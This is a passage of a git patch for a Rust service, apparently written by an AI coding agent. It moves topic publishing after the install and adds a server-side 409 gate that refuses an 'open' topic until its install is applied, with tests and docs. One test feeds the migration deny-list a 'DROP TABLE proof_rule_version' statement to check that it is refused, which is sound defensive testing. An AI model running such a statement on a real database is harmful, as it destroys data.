install before it is the fallible +//! half — a deny-listed migration, a refused handler, an unregistered custom +//! id, a store error — and every one of those failures leaves the topic +//! **unpublished**: there is nothing for a miner to reach, so a failed install +//! cannot produce a topic that is live but not installed. //! -//! The document is published first because everything after it needs the -//! topic to exist in the registry: the rule store keys on `topic_id`, the -//! route table keys on it, and the RLM setup reads the published document. -//! What makes that safe is the **status**: an install publishes the document -//! exactly as the operator signed it, and a topic that is not `open` cannot -//! be submitted to. A failed install therefore leaves a `draft` topic that -//! miners cannot reach — never a half-live one. +//! The other order (publish, then install) makes an `open` document +//! submitable for as long as the install takes, and leaves it submitable +//! forever if the install fails. Its old justification was that the topic had +//! to exist before the rest could key on it; it does not — the rule store, +//! the route table, and the journal all key on `topic_id` with no dependency +//! on the published row, and the RLM setup writes the document itself when it +//! is not there yet. Aliases are the one step that does need a published +//! topic, which is why they stay last. //! //! # Fail-closed, and what the operator does next //! //! Any refusal stops the install and prints rollback notes naming the step -//! that failed and what remains to undo. The topic stays draft/disabled; the -//! install journal (`proof_topic_install`) records the attempt so the next -//! run resumes from the migrations that already applied. +//! that failed and what remains to undo. Nothing is published unless the +//! install reached green, so the topic is not reachable at all; the install +//! journal (`proof_topic_install`) records the attempt so the next run +//! resumes from the migrations that already applied. use std::path::{Path, PathBuf}; @@ -147,6 +157,12 @@ pub async fn run(opts: &Options, args: &InstallArgs<'_>) -> Result<(), Failure> } /// The real install. +/// +/// One function rather than a chain of helpers because the **order** is the +/// contract here: drive → apply → publish → aliases, each step's output +/// feeding the next, and a reader has to be able to see that no step runs +/// before the one it depends on. +#[allow(clippy::too_many_lines)] async fn run_real( opts: &Options, args: &InstallArgs<'_>, @@ -178,25 +194,18 @@ async fn run_real( println!(" bundle_digest {bundle_digest}"); println!(" admin {}", admin.redacted()); println!(); - println!("1) Publish the signed document through the existing admin route…"); - } - admin - .publish(&bundle.topic) - .await - .map_err(|e| Failure::Error(publish_failure(&e)))?; - if !opts.json { - println!(" published (the topic's status is the document's own)."); - println!(); - println!("2) Apply the RLM install section…"); + println!( + "1) Apply the RLM install section (the topic is not published until this is green)…" + ); } let installer = Installer { pool: &pool, store: &store, }; - // The RLM setup is driven **after** the static half lands, so the rules - // the driver proposes supersede a version the topic already has rather - // than being overwritten by the bundle's vector. + // The RLM setup is driven **before** the static half lands, so the rules + // the driver proposes are the topic's current version and the install + // keeps them rather than overwriting them with the bundle's vector. let driven = if args.drive_rlm { if !opts.json { println!(" (driving the RLM: provision → rules → baseline)"); @@ -244,6 +253,21 @@ async fn run_real( println!(" rlm_drive {}", outcome.summary()); println!(" lifecycle {}", outcome.state); } + println!(); + println!("2) Publish the signed document through the existing admin route…"); + } + // Publish **last**, once the install is green: a document reaches the + // registry only when the rules, routes, and migrations it depends on are + // already in place, so an `open` topic is never submitable before its + // install landed. + admin + .publish(&bundle.topic) + .await + .map_err(|e| Failure::Error(publish_failure(&e, &report)))?; + if !opts.json { + println!(" published (the topic's status is the document's own)."); + println!(); + println!("3) Point the bundle's aliases at the topic…"); } // Aliases last: they are a lookup convenience, so a failure here leaves @@ -304,12 +328,13 @@ async fn run_real( /// baseline would leave a topic that is half-installed for no reason. fn load_offer(path: Option<&Path>, pin: &ProofPin) -> Result { let Some(path) = path else { - return Err(Failure::Usage(format!( + return Err(Failure::Usage( "driving the RLM measures a baseline, which is a paid run that needs a live judge \ offer: set PROOF_INFERENCE_OFFER_FILE (or pass --inference-offer-file). To install \ without measuring one, add --skip-baseline — but note the topic cannot open until a \ baseline is sealed." - ))); + .to_owned(), + )); }; let body = std::fs::read_to_string(path) .map_err(|e| Failure::Error(format!("read {}: {e}", path.display())))?; @@ -529,10 +554,21 @@ impl AdminTarget { } /// Turn a publish refusal into an operator instruction. -fn publish_failure(why: &str) -> String { +/// +/// The install has already run by the time this can happen, so the message +/// says what is and is not in place rather than claiming nothing changed. +fn publish_failure(why: &str, report: &proof_topic_install::InstallReport) -> String { format!( - "the publish step failed, so nothing was applied: {why}\n Nothing was changed on the \ - host. Check the admin URL and bearer, then re-run." + "the install is applied, but the publish step failed: {why}\n The topic is NOT \ + published, so miners cannot reach it and nothing is live. What is already in place:\n \ + - the RLM install section applied (journal row {}, {} migration(s) applied, {} already \ + applied, rules v{})\n - the routes it registered are in `proof_topic_api`\n Nothing \ + needs to be undone. Fix the admin URL or bearer and re-run the same command: the \ + install resumes (its migrations are skipped) and publishes.", + report.journal_id, + report.migrations_applied.len(), + report.migrations_skipped.len(), + report.rules_version ) } @@ -554,12 +590,12 @@ fn install_failure(err: &InstallError, topic_id: &str) -> String { }; format!( "the install stopped: {step}\n {err}\n\n Rollback notes — what is and is not changed:\n \ - - The topic's status is the published document's own, and an install never publishes an \ - `open`\n document, so the topic is draft/disabled and miners cannot submit to it.\n \ - - Migrations already applied are recorded in `proof_topic_install`; a re-run skips \ - them\n (they are not rolled back automatically — drop them by hand if the bundle is \ - being\n replaced rather than fixed).\n - Rules already installed stay installed; a \ - re-run keeps the version it finds.\n - Inspect the journal: \ + - The document was **not** published: publishing is the last step, so the topic is not \ + in the\n registry at all and miners cannot reach it (no status, no route, no \ + submission).\n - Migrations already applied are recorded in `proof_topic_install`; a \ + re-run skips\n them\n (they are not rolled back automatically — drop them by hand \ + if the bundle is being\n replaced rather than fixed).\n - Rules already installed \ + stay installed; a re-run keeps the version it finds.\n - Inspect the journal: \ `proof-admin topic install-log --topic {topic_id}`\n - Fix the bundle and re-run the \ same command; the install resumes rather than restarts." ) diff --git a/bins/proof-admin/tests/cli.rs b/bins/proof-admin/tests/cli.rs index 0ce9eb7e8..00433c681 100644 --- a/bins/proof-admin/tests/cli.rs +++ b/bins/proof-admin/tests/cli.rs @@ -16,6 +16,7 @@ use std::fs; use std::path::{Path, PathBuf}; use std::process::{Command, Output}; +use std::sync::{Arc, Mutex}; /// Exit code for a failure (bad bundle, refused document, ...). const EXIT_ERROR: i32 = 1; @@ -1152,3 +1153,305 @@ async fn the_registry_view_lists_what_the_scoring_path_persisted() { tp.drop_schema().await.expect("drop"); } + +// --------------------------------------------------------------------------- +// The publish order: an `open` document is not publishable before the install +// --------------------------------------------------------------------------- + +/// What the stub saw in the database **at the moment** the publish arrived. +type PublishProbe = Option<(String, String)>; + +/// A minimal `POST /v1/admin/proof/topics` stub. +/// +/// It records every request it receives, and — when it is given a pool — reads +/// the install journal and the migration's table *inside* the publish handler, +/// so the test can assert what was in place **before** the topic became +/// reachable rather than after the process exited. +struct AdminStub { + addr: std::net::SocketAddr, + requests: Arc>>, + at_publish: Arc>, +} + +impl AdminStub { + async fn start(probe: Option) -> Self { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + + let listener = tokio::net::TcpListener::bind("127.0.0.1:0") + .await + .expect("bind stub"); + let addr = listener.local_addr().expect("addr"); + let requests: Arc>> = Arc::new(Mutex::new(Vec::new())); + let at_publish: Arc> = Arc::new(Mutex::new(None)); + let held_requests = Arc::clone(&requests); + let held_probe = Arc::clone(&at_publish); + tokio::spawn(async move { + loop { + let Ok((mut sock, _)) = listener.accept().await else { + break; + }; + let requests = Arc::clone(&held_requests); + let at_publish = Arc::clone(&held_probe); + let probe = probe.clone(); + tokio::spawn(async move { + let mut buf: Vec = Vec::new(); + let mut chunk = [0u8; 4096]; + // Headers, then the body the Content-Length promises. + let (head, body) = loop { + match sock.read(&mut chunk).await { + Ok(0) | Err(_) => return, + Ok(n) => buf.extend_from_slice(&chunk[..n]), + } + let Some(end) = buf.windows(4).position(|w| w == b"\r\n\r\n") else { + continue; + }; + let head = String::from_utf8_lossy(&buf[..end]).into_owned(); + let want = head + .lines() + .find_map(|l| { + let (k, v) = l.split_once(':')?; + k.eq_ignore_ascii_case("content-length") + .then(|| v.trim().parse::().ok())? + }) + .unwrap_or(0); + if buf.len() >= end + 4 + want { + break (head, String::from_utf8_lossy(&buf[end + 4..]).into_owned()); + } + }; + let request_line = head.lines().next().unwrap_or_default().to_owned(); + let path = request_line + .split_whitespace() + .nth(1) + .unwrap_or("") + .to_owned(); + if path == "/challenge/proof/v1/admin/proof/topics" { + let seen = match &probe { + Some(pool) => { + let state: Option = sqlx::query_scalar( + "SELECT state FROM proof_topic_install \ + WHERE topic_id = 'tb4' ORDER BY id DESC LIMIT 1", + ) + .fetch_optional(pool) + .await + .ok() + .flatten(); + let table: Option = + sqlx::query_scalar("SELECT to_regclass('tb4_scratch')::text") + .fetch_optional(pool) + .await + .ok() + .flatten(); + Some(( + state.unwrap_or_else(|| "no row".into()), + table.unwrap_or_else(|| "no table".into()), + )) + } + None => None, + }; + if let Some(seen) = seen { + *at_publish.lock().unwrap() = Some(seen); + } + } + requests.lock().unwrap().push(request_line); + let _ = body; + let body = r#"{"ok":true}"#; + let response = format!( + "HTTP/1.1 201 Created\r\ncontent-type: application/json\r\n\ + content-length: {}\r\nconnection: close\r\n\r\n{body}", + body.len() + ); + let _ = sock.write_all(response.as_bytes()).await; + let _ = sock.shutdown().await; + }); + } + }); + Self { + addr, + requests, + at_publish, + } + } + + fn publish_requests(&self) -> Vec { + self.requests + .lock() + .unwrap() + .iter() + .filter(|r| r.contains("/challenge/proof/v1/admin/proof/topics")) + .cloned() + .collect() + } +} + +/// The publish happens **after** the install reached green — never before. +/// +/// The stub reads the journal and the migration's table inside the publish +/// handler, so this asserts the state a miner would have found at the instant +/// the topic became reachable: rules installed, migrations applied. +#[tokio::test(flavor = "multi_thread")] +async fn the_publish_lands_only_after_the_install_is_green() { + let Some(url) = std::env::var("DATABASE_URL") + .ok() + .map(|u| u.trim().to_owned()) + .filter(|u| !u.is_empty()) + else { + return; + }; + let tp = match db::test_pool_with_url(&url).await { + Ok(tp) => tp, + Err(e) => panic!("test_pool: {e}"), + }; + let schema = tp.schema().to_owned(); + let scoped = format!("{url}?options=-c%20search_path%3D{schema}%2Cpublic"); + let probe_pool = db::connect(&scoped).await.expect("probe pool"); + let stub = AdminStub::start(Some(probe_pool.clone())).await; + + // The document's own version, as the RLM setup (or an earlier publish) + // leaves it: the alias step is the one part of the install that keys on a + // persisted version rather than on `topic_id` alone. + let store = proof_rlm_store::PgRlmStore::new(probe_pool.clone()); + proof_rlm_store::RlmStore::put_topic_version( + &store, + &fixture::signed_topic(&format!("sha256:{}", "ab".repeat(32))), + ) + .await + .expect("persist the document"); + + let dir = workdir("publish-order"); + let bundle = write_file(&dir, "b.json", &fixture::bundle_json("staging")); + let pin = write_file(&dir, "pin.toml", &fixture::pin_toml()); + let token = write_file(&dir, "token", "operator-bearer-not-a-real-one\n"); + + let out = Command::new(env!("CARGO_BIN_EXE_proof-admin")) + .args([ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "staging", + "--pin", + pin.to_str().unwrap(), + "--admin-url", + &format!("http://{}", stub.addr), + "--admin-token-file", + token.to_str().unwrap(), + ]) + .env("BASE_DATABASE_URL", &scoped) + .env_remove("BASE_DATABASE_URL_FILE") + .output() + .expect("run proof-admin"); + assert_eq!(code(&out), 0, "stderr={}", stderr(&out)); + + let published = stub.publish_requests(); + assert_eq!(published.len(), 1, "one publish: {published:?}"); + let (state, table) = stub + .at_publish + .lock() + .unwrap() + .clone() + .expect("the stub saw a publish"); + assert_eq!( + state, "applied", + "the install must be green before the topic is published" + ); + assert_eq!( + table, "tb4_scratch", + "the migration must have applied before the topic is published" + ); + + // And the install is complete afterwards: the journal's newest row is + // `applied` with the migration recorded. + let row = proof_topic_install::latest_install(&probe_pool, "tb4") + .await + .expect("journal") + .expect("a row"); + assert_eq!(row.state, "applied"); + assert_eq!(row.migrations, ["0001_scratch"]); + + fs::remove_dir_all(&dir).ok(); + tp.drop_schema().await.expect("drop"); +} + +/// A refused install publishes **nothing at all**: no document reaches the +/// registry, so there is no `open` topic for a miner to submit to while its +/// migrations, routes, and rules are missing. +#[tokio::test(flavor = "multi_thread")] +async fn a_refused_install_never_publishes() { + let Some(url) = std::env::var("DATABASE_URL") + .ok() + .map(|u| u.trim().to_owned()) + .filter(|u| !u.is_empty()) + else { + return; + }; + let tp = match db::test_pool_with_url(&url).await { + Ok(tp) => tp, + Err(e) => panic!("test_pool: {e}"), + }; + let schema = tp.schema().to_owned(); + let scoped = format!("{url}?options=-c%20search_path%3D{schema}%2Cpublic"); + let stub = AdminStub::start(None).await; + + let dir = workdir("publish-refused"); + // The same bundle, with a migration the deny-list refuses. The document + // and its signature are untouched, so the refusal comes from the install. + let denied = fixture::bundle_json("staging").replace( + "CREATE TABLE tb4_scratch (id TEXT)", + "DROP TABLE proof_rule_version", + ); + assert!(denied.contains("proof_rule_version"), "the swap applied"); + let bundle = write_file(&dir, "b.json", &denied); + let pin = write_file(&dir, "pin.toml", &fixture::pin_toml()); + let token = write_file(&dir, "token", "operator-bearer-not-a-real-one\n"); + + let out = Command::new(env!("CARGO_BIN_EXE_proof-admin")) + .args([ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "staging", + "--pin", + pin.to_str().unwrap(), + "--admin-url", + &format!("http://{}", stub.addr), + "--admin-token-file", + token.to_str().unwrap(), + ]) + .env("BASE_DATABASE_URL", &scoped) + .env_remove("BASE_DATABASE_URL_FILE") + .output() + .expect("run proof-admin"); + assert_eq!(code(&out), EXIT_ERROR, "stderr={}", stderr(&out)); + assert!( + stderr(&out).contains("deny-list"), + "the refusal names the gate: {}", + stderr(&out) + ); + assert!( + stderr(&out).contains("was **not** published"), + "the rollback notes must say nothing was published: {}", + stderr(&out) + ); + assert!( + stub.publish_requests().is_empty(), + "a refused install must publish nothing: {:?}", + stub.publish_requests() + ); + + // Nothing was installed either: no journal row, no table. + let row = proof_topic_install::latest_install(tp.pool(), "tb4") + .await + .expect("journal"); + assert!(row.is_none(), "a pre-flight refusal writes no journal row"); + let table: Option = sqlx::query_scalar("SELECT to_regclass('tb4_scratch')::text") + .fetch_one(tp.pool()) + .await + .expect("probe"); + assert!(table.is_none(), "and no migration ran: {table:?}"); + + fs::remove_dir_all(&dir).ok(); + tp.drop_schema().await.expect("drop"); +} diff --git a/bins/proof-challenge/Cargo.toml b/bins/proof-challenge/Cargo.toml index 47d796ec2..b2f132900 100644 --- a/bins/proof-challenge/Cargo.toml +++ b/bins/proof-challenge/Cargo.toml @@ -28,8 +28,10 @@ proof-rlm = { path = "../../crates/proof-rlm" } proof-rlm-scorer = { path = "../../crates/proof-rlm-scorer" } proof-rlm-store = { path = "../../crates/proof-rlm-store" } proof-task = { path = "../../crates/proof-task" } +proof-topic-install = { path = "../../crates/proof-topic-install" } proof-vm-fc = { path = "../../crates/proof-vm-fc" } serde_json = "1" +sqlx = { version = "0.8", features = ["runtime-tokio", "postgres"] } telemetry = { path = "../../crates/telemetry" } tokio = { version = "1", features = ["macros", "rt-multi-thread", "net", "signal"] } tracing = "0.1" diff --git a/bins/proof-challenge/src/main.rs b/bins/proof-challenge/src/main.rs index 387b472fa..4e7f92cb9 100644 --- a/bins/proof-challenge/src/main.rs +++ b/bins/proof-challenge/src/main.rs @@ -41,7 +41,6 @@ use proof_rlm_store::{MemoryRlmStore, PgRlmStore, RlmStore}; use proof_topic_install::{PgTopicRoutes, TopicRouteMux}; use proof_vm_fc::{parse_custom_ids, FirecrackerOrchestrator, VM_RUNNER_CUSTOM_IDS_ENV}; use sqlx::PgPool; -use std::sync::Arc; use tokio::net::TcpListener; /// Operator Proof challenge service CLI. @@ -245,32 +244,13 @@ fn run(cli: &Cli) -> Result<(), String> { _ => {} } let executor = boot_executor(&pin, backend, cli.eval_executor_offer_file.as_deref()); - let rt = tokio::runtime::Builder::new_multi_thread() .enable_all() .build() .map_err(|e| e.to_string())?; - let (rlm_store, pool) = rt.block_on(resolve_rlm_store(cli))?; - // The dynamic topic routes come from the same database: the challenge - // *reads* the route table an install wrote, and answers - // `/challenge/{topic_id}/…` from it. No database → no route table → the - // Proof routes alone (and a topic route is a 404 from the base router, - // never an answer from a table that was never read). - let topic_routes = - pool.map(|pool| Arc::new(TopicRouteMux::new(Arc::new(PgTopicRoutes::new(pool))))); - if topic_routes.is_some() { - tracing::info!( - "topic route mux wired: /challenge/{{topic_id}}/… resolves proof_topic_api \ - (cache keyed by the table's generation, so an install is visible on the next \ - request)" - ); - } else { - tracing::warn!( - "no database configured; the dynamic topic routes are not served (a topic's \ - /challenge/{{topic_id}}/… path answers 404)" - ); - } + let (rlm_store, db_pool) = rt.block_on(resolve_rlm_store(cli))?; + let topic_routes = topic_route_mux(db_pool); let harvest = build_live_scorer( backend, cli.eval_timeout_secs, @@ -322,18 +302,23 @@ fn run(cli: &Cli) -> Result<(), String> { vm_probe: Some(vm), epoch: 0, }; + spawn_queue_drainer(cli, &rt, &state); + rt.block_on(serve(cli.bind, state, topic_routes)) +} + +/// The background queue drainer, unless the operator turned it off. +fn spawn_queue_drainer(cli: &Cli, rt: &tokio::runtime::Runtime, state: &AppState) { if cli.queue_drain_poll_secs == 0 { tracing::info!( "queue drain loop disabled (PROOF_QUEUE_DRAIN_POLL_SECS=0); queued rows score only \ through POST /v1/admin/proof/queue/drain" ); - } else { - rt.spawn(run_queue_drainer( - state.clone(), - Duration::from_secs(cli.queue_drain_poll_secs), - )); + return; } - rt.block_on(serve(cli.bind, state, topic_routes)) + rt.spawn(run_queue_drainer( + state.clone(), + Duration::from_secs(cli.queue_drain_poll_secs), + )); } /// Default seconds between queue-drain passes. @@ -693,6 +678,30 @@ fn database_url(cli: &Cli) -> Result, String> { Ok(Some(trimmed.to_owned())) } +/// The dynamic topic-route mux, over the same database the RLM store uses. +/// +/// The challenge **reads** the route table an install wrote +/// (`proof_topic_api`) and answers `/challenge/{topic_id}/…` from it. `None` +/// means no database was configured, so there is no route table to read: the +/// Proof routes are served alone and a topic route is a 404 from the base +/// router — never an answer from a table that was never read. +fn topic_route_mux(db_pool: Option) -> Option> { + let mux = db_pool.map(|pool| Arc::new(TopicRouteMux::new(Arc::new(PgTopicRoutes::new(pool))))); + if mux.is_some() { + tracing::info!( + "topic route mux wired: /challenge/{{topic_id}}/… resolves proof_topic_api \ + (cache keyed by the table's generation, so an install is visible on the next \ + request)" + ); + } else { + tracing::warn!( + "no database configured; the dynamic topic routes are not served (a topic's \ + /challenge/{{topic_id}}/… path answers 404)" + ); + } + mux +} + /// Postgres RLM store when a database is configured, in-memory otherwise. /// /// A configured but unreachable database is fatal: falling back to memory diff --git a/crates/proof-rlm-scorer/tests/rlm_e2e.rs b/crates/proof-rlm-scorer/tests/rlm_e2e.rs index 9bb6452f1..03f0c39b0 100644 --- a/crates/proof-rlm-scorer/tests/rlm_e2e.rs +++ b/crates/proof-rlm-scorer/tests/rlm_e2e.rs @@ -1337,7 +1337,8 @@ async fn an_experiment_topic_measures_its_baseline_in_a_dedicated_vm() { async fn skipping_the_baseline_pauses_and_a_later_run_resumes() { let root = tmp_root("skip-baseline"); let key = root.join("owner_key"); - let orchestrator = Arc::new(FakeOrchestrator::new()); + std::fs::write(&key, "not-a-real-secret\n").unwrap(); + let orchestrator = FakeOrchestrator::new(0.42); let rlm_store: Arc = Arc::new(MemoryRlmStore::new()); let mut draft = topic(); draft.status = TopicStatus::Draft; @@ -1392,10 +1393,16 @@ async fn skipping_the_baseline_pauses_and_a_later_run_resumes() { .await .expect("the resume measures the baseline"); assert!(resumed.measured_baseline()); + // The resume re-proposes rules, and the store is append-only: the RLM's + // second proposal is version 2, not a rewrite of version 1. What the + // scoring gate reads afterwards is the newest proposal. assert_eq!( - resumed.rules_version, 1, - "the rules are not re-versioned by the resume" + resumed.rules_version, 2, + "the resume's proposal lands as the next version" ); + let rules = rlm_store.current_rules(&draft.id).await.unwrap().unwrap(); + assert_eq!(rules.version, 2, "and it is the topic's current rules"); + assert_eq!(rules.source, proof_rlm::RuleSource::Rlm); assert!( rlm_store.baseline(&draft.id).await.unwrap().is_some(), "the resume recorded the baseline" @@ -1415,7 +1422,8 @@ async fn skipping_the_baseline_pauses_and_a_later_run_resumes() { async fn measuring_a_baseline_without_an_offer_is_refused() { let root = tmp_root("no-offer"); let key = root.join("owner_key"); - let orchestrator = Arc::new(FakeOrchestrator::new()); + std::fs::write(&key, "not-a-real-secret\n").unwrap(); + let orchestrator = FakeOrchestrator::new(0.42); let rlm_store: Arc = Arc::new(MemoryRlmStore::new()); let mut draft = topic(); draft.status = TopicStatus::Draft; diff --git a/docs/PROOF.md b/docs/PROOF.md index 14bd2d6e6..ade3d15e3 100644 --- a/docs/PROOF.md +++ b/docs/PROOF.md @@ -346,20 +346,34 @@ proof-admin topic install \ What it does, in order: -1. **Publishes** the signed document through the existing admin route. The - bearer is read from the file and never printed or logged. A missing URL, a - missing token file, or an empty one is a **usage error before anything is - written**, so a misconfiguration cannot leave a half-installed topic. -2. **Applies** the bundle's RLM section: its `migrations` (under the - deny-list), its `apis` (recorded as topic-scoped routes), its `rules` - (installed through the store the scoring path reads), and its `scoring` / - `submission_format` digests. All of it lands in the install journal. -3. **Points** the bundle's declared `aliases` at the topic. -4. **Drives** the RLM's own lifecycle — `provision` → `propose_rules` → +1. **Drives** the RLM's own lifecycle — `provision` → `propose_rules` → `baseline` — but only with `--drive-rlm`, because that provisions a VM and runs a paid baseline. `--drive-rlm` therefore also requires `--owner-approved`. `--skip-baseline` stops before the baseline job (it requires `--drive-rlm`, since otherwise the install never gets there). +2. **Applies** the bundle's RLM section: its `migrations` (under the + deny-list), its `apis` (recorded as topic-scoped routes), its `rules` + (installed through the store the scoring path reads), and its `scoring` / + `submission_format` digests. All of it lands in the install journal. +3. **Publishes** the signed document through the existing admin route — the + bearer is read from the file and never printed or logged. A missing URL, a + missing token file, or an empty one is a **usage error before anything is + written**. +4. **Points** the bundle's declared `aliases` at the topic. + +**The publish is last on purpose.** Publishing is what makes a topic +reachable: a miner can submit to a document whose `status` is `open`, and a +topic's routes answer as soon as their rows are in `proof_topic_api`. The +install before it is the fallible half — a deny-listed migration, a refused +handler, an unregistered custom id, a store error — so a failed install +publishes **nothing at all** and there is no live-but-uninstalled topic. The +reverse order makes an `open` document submitable for as long as the install +takes, and leaves it submitable forever if the install fails. The old +justification (the topic has to exist before the rest can key on it) does not +hold: the rule store, the route table, and the journal all key on `topic_id` +with no dependency on the published row, and the RLM setup writes the +document itself when it is not there yet. Only the aliases need a published +topic, which is why they stay last. `topic install-log --topic ` reads the journal back: which bundle digest was applied, whether the install reached `applied`, which migrations and @@ -428,8 +442,9 @@ for a topic id exactly as it is for a challenge id. #### Fail-closed, and what an operator does next -An install never publishes an `open` document, so a failed install leaves the -topic **draft or disabled** and miners cannot submit to it. Two failure +An install publishes the document **only after** every step succeeded, so a +failed install leaves the topic **unpublished**: not in the registry at all, +so there is no status to submit to and no route to reach. Two failure shapes: - A **pre-flight refusal** (the deny-list, the handler allow-list, the @@ -441,6 +456,10 @@ shapes: restarts. Every refusal prints rollback notes saying exactly what is and is not changed. +A **publish failure** is the one failure that happens after the install is +green: the topic is not live, nothing needs undoing, and a re-run skips the +applied migrations and publishes. + **Still not implemented:** `topic enable`, `topic disable`, and `topic seal` exit **3** with a "not implemented in this slice" message — a topic's lifecycle is the signed document's `status`, so the answer is to re-sign and From b735f3358d3de405968224d07686c896507e190b Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 18:02:25 +0000 Subject: [PATCH 11/11] feat(proof): refuse to publish an open topic before its install is applied MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The publish order was a **client** convention: `proof-admin topic install` publishes last (d3c79b54), but a direct `POST /v1/admin/proof/topics` could still put an `open` document in the registry before the topic's migrations, routes, and rules existed. An `open` document is submitable the moment it is published, so the route is where the rule has to live. `POST /v1/admin/proof/topics` now refuses an `open` document with **409** unless the topic's newest `proof_topic_install` row is `applied`: | host state | `open` | `draft` | |---|---|---| | install `applied` | 201 | 201 | | `pending` / `failed` / no row | 409 | 201 | | journal unreadable | 409 | 201 | | no journal on the host (no database) | 409 | 201 | A `draft` is never gated: it is not submitable, and staging one is how an operator stages a bundle. Every refusal says which case it was, so the operator can tell "finish the install" from "fix the database" — the reason is returned in the body rather than logged, because `proof-http` has no logging dependency and this is the response the operator reads. - `proof-http` gains the `InstallJournal` trait and the `install_journal` field on `AppState`; `None` is fail-closed. - `proof-topic-install` gains `applied_install` / `is_installed`, the journal read the gate and `topic install-log` share, so the operator and the route cannot disagree about whether a topic is installed. - `proof-challenge` gains `PgInstallJournal` over that read, wired in the challenge binary from the same pool the RLM store and route mux use. The regression test fails without the gate: it drives all four host states against one document, asserts the four refusals name their own cause, asserts the same document still drafts on every one of them, and asserts an applied install admits it. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 1 + bins/proof-challenge/src/main.rs | 33 ++- crates/proof-challenge/Cargo.toml | 2 + crates/proof-challenge/src/lib.rs | 6 +- crates/proof-challenge/src/topic_routes.rs | 30 +++ crates/proof-http/src/lib.rs | 266 ++++++++++++++++++++- crates/proof-rlm-scorer/tests/rlm_e2e.rs | 14 ++ crates/proof-topic-install/src/install.rs | 36 +++ crates/proof-topic-install/src/lib.rs | 5 +- docs/PROOF.md | 20 +- 10 files changed, 403 insertions(+), 10 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 2fa269a95..dd06a0448 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3734,6 +3734,7 @@ dependencies = [ "proof-task", "proof-topic-install", "serde_json", + "sqlx", "thiserror 2.0.19", "tokio", "tower", diff --git a/bins/proof-challenge/src/main.rs b/bins/proof-challenge/src/main.rs index 4e7f92cb9..62648e8c2 100644 --- a/bins/proof-challenge/src/main.rs +++ b/bins/proof-challenge/src/main.rs @@ -30,6 +30,7 @@ use proof_challenge::{ ARTEFACT_STAGING_DIR_ENV, CHALLENGE_ID, DEFAULT_EMIT_POLL_SECS, MINER_BYOK_DIR_ENV, SCORING_VERSION, }; +use proof_challenge::{InstallJournalSlot, PgInstallJournal}; use proof_eval::{custom_ids_ref, registered_custom, FamilyMux}; use proof_harvest::{HarvestLimits, LiumProofHarvest}; use proof_rlm::{ @@ -250,7 +251,8 @@ fn run(cli: &Cli) -> Result<(), String> { .map_err(|e| e.to_string())?; let (rlm_store, db_pool) = rt.block_on(resolve_rlm_store(cli))?; - let topic_routes = topic_route_mux(db_pool); + let topic_routes = topic_route_mux(db_pool.as_ref()); + let journal = install_journal(db_pool.as_ref()); let harvest = build_live_scorer( backend, cli.eval_timeout_secs, @@ -300,6 +302,7 @@ fn run(cli: &Cli) -> Result<(), String> { judge_api_key, admin_hashes: Arc::new(load_admin_hashes(cli.admin_tokens_file.as_deref())), vm_probe: Some(vm), + install_journal: journal, epoch: 0, }; spawn_queue_drainer(cli, &rt, &state); @@ -685,8 +688,12 @@ fn database_url(cli: &Cli) -> Result, String> { /// means no database was configured, so there is no route table to read: the /// Proof routes are served alone and a topic route is a 404 from the base /// router — never an answer from a table that was never read. -fn topic_route_mux(db_pool: Option) -> Option> { - let mux = db_pool.map(|pool| Arc::new(TopicRouteMux::new(Arc::new(PgTopicRoutes::new(pool))))); +fn topic_route_mux(db_pool: Option<&PgPool>) -> Option> { + let mux = db_pool.map(|pool| { + Arc::new(TopicRouteMux::new(Arc::new(PgTopicRoutes::new( + pool.clone(), + )))) + }); if mux.is_some() { tracing::info!( "topic route mux wired: /challenge/{{topic_id}}/… resolves proof_topic_api \ @@ -702,6 +709,26 @@ fn topic_route_mux(db_pool: Option) -> Option> { mux } +/// The install journal the **publish gate** reads, over the same database. +/// +/// `None` (no database) is fail-closed at the route: an `open` document is +/// refused, because the host cannot prove the topic was installed. A `draft` +/// document is unaffected. +fn install_journal(db_pool: Option<&PgPool>) -> InstallJournalSlot { + if let Some(pool) = db_pool { + tracing::info!( + "publish gate wired: an `open` topic is refused until its newest \ + proof_topic_install row is `applied`" + ); + return Some(Arc::new(PgInstallJournal::new(pool.clone()))); + } + tracing::warn!( + "no database configured; the publish gate cannot read proof_topic_install, so an `open` \ + document will be refused (a `draft` one is not)" + ); + None +} + /// Postgres RLM store when a database is configured, in-memory otherwise. /// /// A configured but unreachable database is fatal: falling back to memory diff --git a/crates/proof-challenge/Cargo.toml b/crates/proof-challenge/Cargo.toml index 797f1b953..b4cc9a2ef 100644 --- a/crates/proof-challenge/Cargo.toml +++ b/crates/proof-challenge/Cargo.toml @@ -9,6 +9,7 @@ rust-version.workspace = true publish = false [dependencies] +async-trait = "0.1" axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json", "query"] } bundle = { path = "../bundle" } chain = { path = "../chain" } @@ -22,6 +23,7 @@ proof-store = { path = "../proof-store" } proof-task = { path = "../proof-task" } proof-topic-install = { path = "../proof-topic-install" } serde_json = "1" +sqlx = { version = "0.8", features = ["runtime-tokio", "postgres"] } thiserror = "2" tokio = { version = "1", features = ["time"] } tracing = "0.1" diff --git a/crates/proof-challenge/src/lib.rs b/crates/proof-challenge/src/lib.rs index e6aabc954..e11b90640 100644 --- a/crates/proof-challenge/src/lib.rs +++ b/crates/proof-challenge/src/lib.rs @@ -29,8 +29,8 @@ pub use proof_executor::{ EVAL_EXECUTOR_OFFER_FILE_ENV, }; pub use proof_http::{ - executor_slot, hash_admin_token, proof_router, AppState, ExecutorSlot, VmAgentHealth, - VmOrchestratorProbe, VmOrchestratorReport, + executor_slot, hash_admin_token, proof_router, AppState, ExecutorSlot, InstallJournal, + InstallJournalSlot, VmAgentHealth, VmOrchestratorProbe, VmOrchestratorReport, }; pub use proof_store::{ ArtefactVault, ArtifactManifest, MemoryStore, MinerEnvVault, ARTEFACT_STAGING_DIR_ENV, @@ -41,7 +41,7 @@ pub use proof_task::{ CHALLENGE_ID, CHALLENGE_ID_BYTES as 